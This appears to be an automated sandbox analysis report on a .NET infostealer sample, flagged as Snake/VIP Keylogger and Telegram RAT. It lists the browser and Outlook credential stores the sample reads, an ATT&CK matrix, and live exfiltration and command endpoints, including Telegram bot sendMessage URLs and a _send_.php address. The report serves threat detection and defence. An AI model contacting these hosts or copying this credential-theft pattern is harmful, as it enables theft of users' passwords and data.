Source: Yara match	File source: 00000001.00000002.2570925272.0000000002C2E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2569306283.00000000024CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7500, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2570925272.0000000002C2E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2569306283.00000000024CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	2 Command and Scripting Interpreter	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	3 Obfuscated Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
pbgjw8i8N7.exe	70%	Virustotal		Browse
pbgjw8i8N7.exe	63%	ReversingLabs	ByteCode-MSIL.Infostealer.Browsstl
pbgjw8i8N7.exe	100%	Avira	TR/AD.GenSteal.frzkf

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\XsdType.exe	100%	Avira	TR/AD.GenSteal.frzkf
C:\Users\user\AppData\Roaming\XsdType.exe	70%	Virustotal		Browse
C:\Users\user\AppData\Roaming\XsdType.exe	63%	ReversingLabs	ByteCode-MSIL.Infostealer.Browsstl

Name	IP	Active	Malicious	Reputation
mail.iaa-airferight.com	46.175.148.58	true	false	high
reallyfreegeoip.org	104.21.96.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2012/03/2025%20/%2023:06:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2012/03/2025%20/%2005:49:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	InstallUtil.exe, 00000004.00000002.2569306283.0000000002551000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024CB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/14436606/23354	pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://mail.iaa-airferight.com	InstallUtil.exe, 00000001.00000002.2570925272.0000000002C49000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CB0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000254C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-net	pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org?q=	InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en4	InstallUtil.exe, 00000001.00000002.2570925272.0000000002C84000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002520000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	InstallUtil.exe, 00000004.00000002.2569306283.0000000002511000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20a	InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/v20	InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-neti	pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/4	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002551000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	InstallUtil.exe, 00000001.00000002.2570925272.0000000002C2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024CB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/2152978/23354	pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	InstallUtil.exe, 00000001.00000002.2570925272.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000251B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	InstallUtil.exe, 00000001.00000002.2570925272.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B9D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000243A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000247F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtabv209h	InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	InstallUtil.exe, 00000001.00000002.2570925272.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000247F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002410000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	pbgjw8i8N7.exe, 00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://gemini.google.com/app?q=	InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	false	high
